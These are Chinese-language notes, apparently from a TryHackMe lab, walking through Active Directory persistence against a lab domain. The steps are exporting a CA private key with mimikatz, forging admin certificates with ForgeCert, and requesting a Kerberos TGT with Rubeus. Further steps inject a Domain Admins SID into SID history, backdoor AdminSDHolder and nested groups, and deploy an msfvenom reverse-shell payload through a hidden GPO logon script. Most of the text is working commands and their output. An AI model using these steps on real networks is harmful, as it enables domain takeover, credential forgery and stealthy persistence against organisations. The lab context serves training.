利用凭证
收集用户的凭证将其用于获取权限
金银票
AD CS
提取私钥
我们使用工具获取 CA 证书,并从中提取私钥:Golden Certificate
za\administrator@DC C:\Users\Administrator.ZA\am0>C:\Tools\mimikatz_trunk\x64\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # crypto::certificates /systemstore:local_machine
* System Store : 'local_machine' (0x00020000)
* Store : 'My'
0.
Subject :
Issuer : DC=loc, DC=tryhackme, DC=za, CN=za-THMDC-CA
Serial : 040000000000703a4d78090a0ab10400000010
Algorithm: 1.2.840.113549.1.1.1 (RSA)
Validity : 4/27/2022 8:32:43 PM -> 4/27/2023 8:32:43 PM
Hash SHA1: d6a84e153fa326554f095be4255460d5a6ce2b39
Key Container : dbe5782f91ce09a2ebc8e3bde464cc9b_32335b3b-2d6f-4ad7-a061-b862ac75bcb1
Provider : Microsoft RSA SChannel Cryptographic Provider
Provider type : RSA_SCHANNEL (12)
Type : AT_KEYEXCHANGE (0x00000001)
|Provider name : Microsoft RSA SChannel Cryptographic Provider
|Key Container : te-DomainControllerAuthentication-5ed52c94-34e8-4450-a751-a57ac55a110f
|Unique name : dbe5782f91ce09a2ebc8e3bde464cc9b_32335b3b-2d6f-4ad7-a061-b862ac75bcb1
|Implementation: CRYPT_IMPL_SOFTWARE ;
Algorithm : CALG_RSA_KEYX
Key size : 2048 (0x00000800)
Key permissions: 0000003b ( CRYPT_ENCRYPT ; CRYPT_DECRYPT ; CRYPT_READ ; CRYPT_WRITE ; CRYPT_MAC ; )
Exportable key : NO
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # crypto::capi
Local CryptoAPI RSA CSP patched
Local CryptoAPI DSS CSP patched
mimikatz # crypto::cng
"KeyIso" service patched # 如果爆这个错误,我们需要修补服务
mimikatz # crypto::certificates /systemstore:local_machine /export # 导出证书
导出证书将以 PFX 和 DER 格式存储到磁盘:
za\administrator@THMDC C:\Users\Administrator.ZA\am0>dir
Volume in drive C is Windows
Volume Serial Number is 1634-22A9
Directory of C:\Tools\x64
05/10/2022 12:12 PM <DIR> .
05/10/2022 12:12 PM <DIR> ..
05/10/2022 12:12 PM 1,423 local_machine_My_0_.der
05/10/2022 12:12 PM 3,299 local_machine_My_0_.pfx
05/10/2022 12:12 PM 939 local_machine_My_1_za-THMDC-CA.der
05/10/2022 12:12 PM 2,685 local_machine_My_1_za-THMDC-CA.pfx
05/10/2022 12:12 PM 1,534 local_machine_My_2_THMDC.za.tryhackme.loc.der
05/10/2022 12:12 PM 3,380 local_machine_My_2_THMDC.za.tryhackme.loc.pfx
05/10/2022 12:12 PM 1,465 local_machine_My_3_.der
05/10/2022 12:12 PM 3,321 local_machine_My_3_.pfx
证书 za-THMDC-CA.pfx 是我们特别感兴趣的,为了导出私钥,必须使用密码对证书进行加密。默认情况下,Mimikatz 分配的密码为 mimikatz
生成自己的证书
现在我们有了私钥和 CA 根证书,我们可以使用 GitHub - GhostPack/ForgeCert 来为我们想要的任何用户伪造客户端身份验证证书
za\aaron.jones@THMWRK1 C:\Users\aaron.jones>C:\Tools\ForgeCert\ForgeCert.exe --CaCertPath za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123
我们使用 Rubeus 证书来请求 TGT 以验证证书是否可信:
- CaCertPath - 我们导出的CA证书的路径
- CaCertPassword - 用来加密证书的密码。默认情况下,Mimikatz分配的密码是 mimikatz
- Subject - 证书的主题或通用名称。在我们将使用该证书的情况下,这并不重要
- SubjectAltName - 这是我们想用该证书冒充的账户的用户主体名称(UPN)。它必须是一个合法的用户
- NewCertPath - ForgeCert 存储生成的证书的路径
- NewCertPassword - 由于证书将需要为认证目的而导出的私钥,我们必须设置一个用于加密的新密码
za\aaron.jones@THMWRK1 C:\Users\aaron.jones>C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:vulncert.pfx /password:tryhackme /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:10.200.x.101
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGT
[*] Using PKINIT with etype aes256_cts_hmac_sha1 and subject: CN=vulncert
[*] Building AS-REQ (w/ PKINIT preauth) for: 'za.tryhackme.loc\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):
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
ServiceName : krbtgt/za.tryhackme.loc
ServiceRealm : za.tryhackme.loc
UserName : Administrator
UserRealm : za.tryhackme.loc
StartTime : 2/6/2022 5:54:46 PM
EndTime : 2/7/2022 3:54:46 AM
RenewTill : 2/13/2022 5:54:46 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : Qr+FUX+/G2jHgAR2ssW11+lhaPlB6dMD8V5/rENwJVU=
ASREP (key) : BF2483247FA4CB89DA0417DFEC7FC57C79170BAB55497E0C45F19D976FD617ED
接下来我们使用 Mimikatz 加载 TGT 并向 THMDC 进行身份验证
- /user - 这指定了我们要冒充的用户,必须与我们生成的证书的UPN相匹配
- /enctype -这指定了票据的加密类型。设置这个对于规避是很重要的,因为默认的加密算法很弱,这将导致过度的哈希警报
- /certificate - 我们已经生成的证书的路径
- /password -我们的证书文件的密码
- /outfile - TGT将被输出到的文件
- /domain - 我们当前正在攻击的域的 FQDN
- /dc - 我们向其请求TGT的域控制器的IP。通常情况下,最好选择一个正在运行CA服务的DC
za\aaron.jones@THMWRK1 C:\Users\aaron.jones>C:\Tools\mimikatz_trunk\x64\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # kerberos::ptt administrator.kirbi
* File: 'administrator.kirbi': OK
mimikatz # exit
Bye!
za\aaron.jones@THMWRK1 C:\Users\aaron.jones>dir \\THMDC.za.tryhackme.loc\c$\
Volume in drive \\THMDC.za.tryhackme.loc\c$ is Windows
Volume Serial Number is 1634-22A9
Directory of \\THMDC.za.tryhackme.loc\c$
01/04/2022 08:47 AM 103 delete-vagrant-user.ps1
04/30/2022 10:24 AM 154 dns_entries.csv
04/27/2022 10:53 PM 885,468 MzIzMzViM2ItMmQ2Zi00YWQ3LWEwNjEtYjg2MmFjNzViY2Ix.bin
09/15/2018 08:19 AM <DIR> PerfLogs
03/21/2020 09:31 PM <DIR> Program Files
03/21/2020 09:28 PM <DIR> Program Files (x86)
04/27/2022 08:27 AM 1,423 thm-network-setup-dc.ps1
04/25/2022 07:13 PM <DIR> tmp
04/27/2022 08:22 AM <DIR> Users
04/25/2022 07:11 PM <SYMLINKD> vagrant [\\vboxsvr\vagrant]
04/27/2022 08:12 PM <DIR> Windows
7 File(s) 2,356,811 bytes
7 Dir(s) 50,914,541,568 bytes free
SID History
查看当前用户:
za\aaron.jones@THMWRK1 C:\Users\Administrator.ZA>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator.ZA> Get-ADUser <your ad username> -properties sidhistory,memberof
DistinguishedName : CN=aaron.jones,OU=Consulting,OU=People,DC=za,DC=tryhackme,DC=loc
Enabled : True
GivenName : Aaron
MemberOf : {CN=Internet Access,OU=Groups,DC=za,DC=tryhackme,DC=loc}
Name : aaron.jones
ObjectClass : user
ObjectGUID : 7d4c08e5-05b6-45c4-920d-2a6dbba4ca22
SamAccountName : aaron.jones
SID : S-1-5-21-3885271727-2693558621-2658995185-1429
SIDHistory : {}
Surname : Jones
UserPrincipalName
SIDHistory : {}
注意这里为空
我们来查找一个用户组的 SID ,我们将会使用该 SID 作为我们填充的目标
我们可以使用 Mimikatz 之类的工具来添加 SID 历史记录。然而,最新版本的 Mimikatz 有一个缺陷,不允许它修补 LSASS 以更新 SID 历史记录。因此我们需要使用其他东西。在这种情况下,我们将使用GitHub - MichaelGrafnetter/DSInternals工具直接修补 ntds.dit 文件,即存储所有信息的AD数据库
PS C:\Users\Administrator.ZA> Get-ADGroup "Domain Admins"
DistinguishedName : CN=Domain Admins,CN=Users,DC=za,DC=tryhackme,DC=loc
GroupCategory : Security
GroupScope : Global
Name : Domain Admins
ObjectClass : group
ObjectGUID : 3a8e1409-c578-45d1-9bb7-e15138f1a922
SamAccountName : Domain Admins
SID : S-1-5-21-3885271727-2693558621-2658995185-512
shell
PS C:\Users\Administrator.ZA>Stop-Service -Name ntds -force
PS C:\Users\Administrator.ZA> Add-ADDBSidHistory -SamAccountName 'username of our low-priveleged AD account' -SidHistory 'SID to add to SID History' -DatabasePath C:\Windows\NTDS\ntds.dit
PS C:\Users\Administrator.ZA>Start-Service -Name ntds
> 当 NTDS 服务运行时,NTDS 数据库被锁定。为了修补我们的 SID 历史,我们必须首先停止该服务。打补丁后必须重启NTDS服务,否则全网认证将失效
>
现在我们就已经将 SID 注入目标中
PS C:\Users\aaron.jones> Get-ADUser aaron.jones -Properties sidhistory
DistinguishedName : CN=aaron.jones,OU=Consulting,OU=People,DC=za,DC=tryhackme,DC=loc
Enabled : True
GivenName : Aaron
Name : aaron.jones
ObjectClass : user
ObjectGUID : 7d4c08e5-05b6-45c4-920d-2a6dbba4ca22
SamAccountName : aaron.jones
SIDHistory : {S-1-5-21-3885271727-2693558621-2658995185-512}
Surname : Jones
UserPrincipalName :
验证:
PS C:\Users\aaron.jones> dir \\thmdc.za.tryhackme.loc\c$
Directory: \\thmdc.za.tryhackme.loc\c$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/15/2018 8:19 AM PerfLogs
d-r--- 5/11/2022 10:32 AM Program Files
d----- 3/21/2020 8:28 PM Program Files (x86)
d----- 4/25/2022 7:13 PM tmp
da---- 5/11/2022 10:11 AM Tools
d-r--- 4/27/2022 8:22 AM Users
d----l 4/25/2022 7:11 PM vagrant
d----- 4/27/2022 8:12 PM Windows
-a---- 1/4/2022 7:47 AM 103 delete-vagrant-user.ps1
-a---- 5/1/2022 9:11 AM 169 dns_entries.csv
-a---- 5/1/2022 9:17 AM 1725 thm-network-setup-dc.ps1
利用组成员
:::info 嵌套组:
嵌套组可以理解为 组中组
,比如: IT 支持组 中可能有 服务台、门禁卡管理员和网络管理员等等组,这些子组中的所有用户提供与 IT 支持组关联的权限和特权,但我们随后可以为每个子组分配更精细的权限和特权
:::
- Domain Admins
- ls_nestgroup5
- ls_nestgroup4
- ls_nestgroup3
- ls_nestgroup2
- ls_nestgroup1
现在我们将我们的低权限 AD 用户添加到我们创建的组中:
终端
PS C:\Users\Administrator.ZA>Add-ADGroupMember -Identity "ls_nestgroup1" -Members "aaron.jones"
现在我们用户就具有了 THMDC 权限:
za\aaron.jones@THMWRK1 C:\Users\aaron.jones>dir \\thmdc.za.tryhackme.loc\c$\
Volume in drive \\thmdc.za.tryhackme.loc\c$ is Windows
Volume Serial Number is 1634-22A9
Directory of \\thmdc.za.tryhackme.loc\c$
01/04/2022 08:47 AM 103 delete-vagrant-user.ps1
05/01/2022 09:11 AM 169 dns_entries.csv
09/15/2018 08:19 AM <DIR> PerfLogs
05/11/2022 10:32 AM <DIR> Program Files
03/21/2020 09:28 PM <DIR> Program Files (x86)
05/01/2022 09:17 AM 1,725 thm-network-setup-dc.ps1
04/25/2022 07:13 PM <DIR> tmp
05/15/2022 09:16 PM <DIR> Tools
04/27/2022 08:22 AM <DIR> Users
04/25/2022 07:11 PM <SYMLINKD> vagrant [\\vboxsvr\vagrant]
04/27/2022 08:12 PM <DIR> Windows
3 File(s) 1,997 bytes
8 Dir(s) 51,573,755,904 bytes free
ACL
:::info AD 中会使用一种 组模板 技术,来对 ACL 进行控制,我们可以将我们的控制的账户添加到我们模板中,这样我们只需要等待模板刷新,我们就又可以获得权限。
AdminSDHolder 容器就是这样一种模板,这个容器存在于每个 AD 域中,它的 ACL 被用作模板来复制权限到所有受保护的组。 名为<font style="color:rgb(33, 37, 41);">SDProp</font>
的进程获取 AdminSDHolder 容器的 ACL,并每 60 分钟将其应用于所有受保护的组。因此,我们可以编写一个 ACE,授予我们对所有受保护组的完全权限。
:::
利用
为了将我们的持久性部署到 AdminSDHolder,我们将使用 Microsoft 管理控制台 (MMC)。为了避免将用户踢出他们的RDP会话,最好使用您的低特权凭据将 RDP 连接到 THMWRK1,使用 runas 命令注入管理员凭据,然后从这个新终端执行 MMC:添加用户和组管理单元 (File->Add Snap-In->Active Directory Users and Groups). 确保启用高级功能(View->Advanced Features). 我们可以在 Domain->System 发现 AdminSDHolder 组
runas /netonly /user:Administrator cmd.exe
最后结果:
- Click Add.
- Search for your low-privileged username and click Check Names.
- Click OK.
- Click Allow on Full Control.
- Click Apply.
- Click OK.
SDProp
:::info
现在我们只需要的等待 60 分钟,我们的用户就可以完全控制所有受保护的组。这是因为安全描述符传播器 (SDProp) 服务每 60 分钟自动执行一次,并将此更改传播到所有受保护组,但是我们可以使用 Invoke-ADSDPropagation.ps1
来帮助我们加快这一脚步
GitHub - edemilliere/ADSI: Active Directory Searcher helper
:::
PS C:\Tools> Import-Module .\Invoke-ADSDPropagation.ps1
PS C:\Tools> Invoke-ADSDPropagation
完成后,我们查看权限:
GPO
:::info 常见的 GPO 持久化技术:
- Restricted Group Membership - 这可以让我们对域内的所有主机进行管理访问 GPO
- Logon Script Deployment - 这将确保每次用户认证到域中的主机时,我们都能得到一个shell回调
:::
我们将关注第二个利用方法,第一个利用方法位于 链接处
准备
创建我们的 SHELL 文件:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=persistad lport=4445 -f exe > JTZ_shell.exe
创建完成后,我们再创建一个 bat 文件,以允许我们的 SHELL 程序:
copy \\za.tryhackme.loc\sysvol\za.tryhackme.loc\scripts\JTZ_shell.exe C:\tmp\JTZ_shell.exe && timeout /t 20 && C:\tmp\JTZ_shell.exe
现在我们将 exe 和 bat 程序传输到目标 SYSVOL 目录中,并启动监听器
创建 CPO
打开 MMC 控制台,(File —> Add/Remove Snap-in… —> Group Policy Management ),然后就会打开 GPO 管理器
我们编写一个用于所有管理员的 GPO,因此我们将在 Admins OU 处创建一个 GPO ,并将其链接到此处
现在我们应该编辑我们的策略了 (User Configuration —> Policies —> Windows Settings —> Scripts(Logon/Logoff) —> 选择脚本并添加 ),我们选择我们的恶意脚本: JTZ_scripts.bat 然后确定即可,这样当每一个管理员登陆到任何机器我们都会收到一个 SHELL。
深入隐藏
打开 MMC 窗口名,(Management —> Delegation)
最后效果:默认情况下,所有管理员都可以编辑 GPO :
- 右键
**<font style="color:rgb(33, 37, 41);">ENTERPRISE DOMAIN CONTROLLERS</font>**
选择**<font style="color:rgb(33, 37, 41);">Edit settings, delete, modify security</font>**
- 单击所有其他组 (Authenticated Users 除外) ,然后单击 Remove
点击 Advanced 并从 权限
中删除 <font style="color:rgb(33, 37, 41);"> Created Owner</font>
:
- Click Add.
- Type Domain Computers, click Check Names and then OK.
- Select Read permissions and click OK.
- Click on Authenticated Users and click Remove.
参考
还有几个利用方式